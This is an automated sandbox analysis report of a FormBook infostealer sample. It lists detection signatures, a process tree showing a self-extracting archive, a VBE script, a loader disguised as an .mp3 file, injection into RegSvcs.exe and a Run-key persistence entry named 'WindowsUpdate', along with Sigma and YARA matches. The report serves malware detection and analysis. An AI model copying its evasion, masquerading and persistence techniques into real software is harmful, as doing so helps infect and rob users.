Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
qPLzfnxGbj.exe

Overview

General Information

Sample name:qPLzfnxGbj.exe
renamed because original name is a hash value
Original sample name:1e847cccbb36b7d28db70aeedede580bab5721a1da53b9296b1c4e13b344c313.exe
Analysis ID:1569375
MD5:44a8d88f50285e2d959ab8de1b4c830d
SHA1:a5bff295eb0d06d6fa568c39b09b3157c587adae
SHA256:1e847cccbb36b7d28db70aeedede580bab5721a1da53b9296b1c4e13b344c313
Tags:exeuser-adrian__luca
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected AntiVM autoit script
Yara detected Autoit Injector
Yara detected FormBook
AI detected suspicious sample
Allocates memory in foreign processes
Contains functionality to inject code into remote processes
Found API chain indicative of sandbox detection
Injects a PE file into a foreign processes
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses ipconfig to lookup or modify the Windows network settings
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to query the security center for anti-virus and firewall products
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
File is packed with WinRar
Found WSH timer for Javascript or VBS script (likely evasive script)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
OS version to string mapping found (often used in BOTs)
One or more processes crash
PE file contains sections with non-standard names
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Use NTFS Short Name in Command Line
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • qPLzfnxGbj.exe (PID: 592 cmdline: "C:\Users\user\Desktop\qPLzfnxGbj.exe" MD5: 44A8D88F50285E2D959AB8DE1B4C830D)
    • wscript.exe (PID: 612 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe" MD5: FF00E0480075B095948000BDC66E81F0)
      • cmd.exe (PID: 1268 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 3192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • ipconfig.exe (PID: 6320 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)
      • cmd.exe (PID: 4416 cmdline: "C:\Windows\System32\cmd.exe" /c lijei.mp3 uudcsppmql.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 2976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • lijei.mp3 (PID: 6196 cmdline: lijei.mp3 uudcsppmql.jpg MD5: 0ADB9B817F1DF7807576C2D7068DD931)
          • RegSvcs.exe (PID: 1776 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
          • RegSvcs.exe (PID: 3172 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
      • cmd.exe (PID: 2216 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • WerFault.exe (PID: 6724 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1924 -ip 1924 MD5: C31336C1EFC2CCB44B4326EA793040F2)
        • ipconfig.exe (PID: 6940 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)
  • lijei.mp3.exe (PID: 1128 cmdline: "C:\Users\user\AppData\Local\Temp\xhqk\LIJEIM~1.EXE" C:\Users\user\AppData\Local\Temp\xhqk\UUDCSP~1.JPG MD5: 0ADB9B817F1DF7807576C2D7068DD931)
    • RegSvcs.exe (PID: 2216 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
    • RegSvcs.exe (PID: 1924 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
      • WerFault.exe (PID: 424 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1924 -s 80 MD5: C31336C1EFC2CCB44B4326EA793040F2)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000E.00000002.2818895373.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    0000000E.00000002.2819115818.00000000012A0000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      Process Memory Space: lijei.mp3 PID: 6196JoeSecurity_AntiVM_1Yara detected AntiVM autoit scriptJoe Security
        Process Memory Space: lijei.mp3 PID: 6196JoeSecurity_AutoitInjectorYara detected Autoit InjectorJoe Security
          Process Memory Space: lijei.mp3.exe PID: 1128JoeSecurity_AntiVM_1Yara detected AntiVM autoit scriptJoe Security
            Click to see the 1 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            14.2.RegSvcs.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
              14.2.RegSvcs.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Invoke-Obfuscation CLIP+ Launcher
                Source: Process startedAuthor: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c ipconfig /release , CommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe" , ParentImage: C:\Windows\SysWOW64\wscript.exe, ParentProcessId: 612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release , ProcessId: 1268, ProcessName: cmd.exe
                Sigma detected: Invoke-Obfuscation VAR+ Launcher
                Source: Process startedAuthor: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c ipconfig /release , CommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe" , ParentImage: C:\Windows\SysWOW64\wscript.exe, ParentProcessId: 612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release , ProcessId: 1268, ProcessName: cmd.exe
                Sigma detected: New RUN Key Pointing to Suspicious Folder
                Source: Registry Key setAuthor: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\xhqk\LIJEIM~1.EXE C:\Users\user\AppData\Local\Temp\xhqk\UUDCSP~1.JPG, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exe, ProcessId: 1128, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate
                Sigma detected: Script Interpreter Execution From Suspicious Folder
                Source: Process startedAuthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\qPLzfnxGbj.exe", ParentImage: C:\Users\user\Desktop\qPLzfnxGbj.exe, ParentProcessId: 592, ParentProcessName: qPLzfnxGbj.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe" , ProcessId: 612, ProcessName: wscript.exe
                Sigma detected: Suspicious Script Execution From Temp Folder
                Source: Process startedAuthor: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\qPLzfnxGbj.exe", ParentImage: C:\Users\user\Desktop\qPLzfnxGbj.exe, ParentProcessId: 592, ParentProcessName: qPLzfnxGbj.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe" , ProcessId: 612, ProcessName: wscript.exe
                Sigma detected: WScript or CScript Dropper
                Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\qPLzfnxGbj.exe", ParentImage: C:\Users\user\Desktop\qPLzfnxGbj.exe, ParentProcessId: 592, ParentProcessName: qPLzfnxGbj.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe" , ProcessId: 612, ProcessName: wscript.exe
                Sigma detected: CurrentVersion Autorun Keys Modification
                Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\xhqk\LIJEIM~1.EXE C:\Users\user\AppData\Local\Temp\xhqk\UUDCSP~1.JPG, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exe, ProcessId: 1128, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate
                Sigma detected: Execution of Suspicious File Type Extension
                Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: lijei.mp3 uudcsppmql.jpg, CommandLine: lijei.mp3 uudcsppmql.jpg, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3, NewProcessName: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3, OriginalFileName: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c lijei.mp3 uudcsppmql.jpg, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4416, ParentProcessName: cmd.exe, ProcessCommandLine: lijei.mp3 uudcsppmql.jpg, ProcessId: 6196, ProcessName: lijei.mp3
                Sigma detected: Use NTFS Short Name in Command Line
                Source: Process startedAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\AppData\Local\Temp\xhqk\LIJEIM~1.EXE" C:\Users\user\AppData\Local\Temp\xhqk\UUDCSP~1.JPG, CommandLine: "C:\Users\user\AppData\Local\Temp\xhqk\LIJEIM~1.EXE" C:\Users\user\AppData\Local\Temp\xhqk\UUDCSP~1.JPG, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Users\user\AppData\Local\Temp\xhqk\LIJEIM~1.EXE" C:\Users\user\AppData\Local\Temp\xhqk\UUDCSP~1.JPG, ProcessId: 1128, ProcessName: lijei.mp3.exe
                Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\qPLzfnxGbj.exe", ParentImage: C:\Users\user\Desktop\qPLzfnxGbj.exe, ParentProcessId: 592, ParentProcessName: qPLzfnxGbj.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe" , ProcessId: 612, ProcessName: wscript.exe
                Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification
                Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\xhqk\LIJEIM~1.EXE C:\Users\user\AppData\Local\Temp\xhqk\UUDCSP~1.JPG, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3, ProcessId: 6196, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate

                Suricata Signatures

                ⊘No Suricata rule has matched

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Multi AV Scanner detection for submitted file
                Source: qPLzfnxGbj.exeReversingLabs: Detection: 65%
                Yara detected FormBook
                Source: Yara matchFile source: 14.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 14.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000000E.00000002.2818895373.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000E.00000002.2819115818.00000000012A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Source: qPLzfnxGbj.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                Source: qPLzfnxGbj.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
                Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: qPLzfnxGbj.exe
                Source: Binary string: wntdll.pdbUGP source: RegSvcs.exe, 0000000E.00000002.2819360556.0000000001840000.00000040.00001000.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 0000000E.00000002.2819360556.0000000001840000.00000040.00001000.00020000.00000000.sdmp
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D7F826 __EH_prolog3_GS,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,0_2_00D7F826
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D91630 __EH_prolog3_GS,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,0_2_00D91630
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00DA1FF8 FindFirstFileExA,0_2_00DA1FF8
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0090E387 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,8_2_0090E387
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0090D836 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,8_2_0090D836
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0090DB69 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,8_2_0090DB69
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_00919F9F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,8_2_00919F9F
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0091A0FA SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,8_2_0091A0FA
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0091A488 FindFirstFileW,Sleep,FindNextFileW,FindClose,8_2_0091A488
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_009165F1 FindFirstFileW,FindNextFileW,FindClose,8_2_009165F1
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008DC642 FindFirstFileExW,8_2_008DC642
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_009172E9 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,8_2_009172E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_00917248 FindFirstFileW,FindClose,8_2_00917248
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F1E387 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,15_2_00F1E387
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F1D836 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,15_2_00F1D836
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F1DB69 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,15_2_00F1DB69
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F29F9F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,15_2_00F29F9F
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F2A0FA SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,15_2_00F2A0FA
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F2A488 FindFirstFileW,Sleep,FindNextFileW,FindClose,15_2_00F2A488
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F265F1 FindFirstFileW,FindNextFileW,FindClose,15_2_00F265F1
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00EEC642 FindFirstFileExW,15_2_00EEC642
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F272E9 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,15_2_00F272E9
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F27248 FindFirstFileW,FindClose,15_2_00F27248
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0091D7A1 InternetReadFile,SetEvent,GetLastError,SetEvent,8_2_0091D7A1
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007360000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2276994283.000000000157D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2277966103.0000000001580000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2428154533.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe.8.dr, lijei.mp3.exe.exe.15.dr, lijei.mp3.exe0.8.dr, lijei.mp3.8.dr, lijei.mp3.0.drString found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007360000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2276994283.000000000157D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2277966103.0000000001580000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2428154533.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe.8.dr, lijei.mp3.exe.exe.15.dr, lijei.mp3.exe0.8.dr, lijei.mp3.8.dr, lijei.mp3.0.drString found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007360000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2276994283.000000000157D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2277966103.0000000001580000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2428154533.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe.8.dr, lijei.mp3.exe.exe.15.dr, lijei.mp3.exe0.8.dr, lijei.mp3.8.dr, lijei.mp3.0.drString found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007360000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2276994283.000000000157D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2277966103.0000000001580000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2428154533.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe.8.dr, lijei.mp3.exe.exe.15.dr, lijei.mp3.exe0.8.dr, lijei.mp3.8.dr, lijei.mp3.0.drString found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007360000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2276994283.000000000157D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2277966103.0000000001580000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2428154533.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe.8.dr, lijei.mp3.exe.exe.15.dr, lijei.mp3.exe0.8.dr, lijei.mp3.8.dr, lijei.mp3.0.drString found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007360000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2276994283.000000000157D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2277966103.0000000001580000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2428154533.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe.8.dr, lijei.mp3.exe.exe.15.dr, lijei.mp3.exe0.8.dr, lijei.mp3.8.dr, lijei.mp3.0.drString found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007360000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2276994283.000000000157D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2277966103.0000000001580000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2428154533.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe.8.dr, lijei.mp3.exe.exe.15.dr, lijei.mp3.exe0.8.dr, lijei.mp3.8.dr, lijei.mp3.0.drString found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007360000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2276994283.000000000157D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2277966103.0000000001580000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2428154533.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe.8.dr, lijei.mp3.exe.exe.15.dr, lijei.mp3.exe0.8.dr, lijei.mp3.8.dr, lijei.mp3.0.drString found in binary or memory: http://ocsp2.globalsign.com/rootr306
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007360000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2276994283.000000000157D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2277966103.0000000001580000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2428154533.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe.8.dr, lijei.mp3.exe.exe.15.dr, lijei.mp3.exe0.8.dr, lijei.mp3.8.dr, lijei.mp3.0.drString found in binary or memory: http://ocsp2.globalsign.com/rootr606
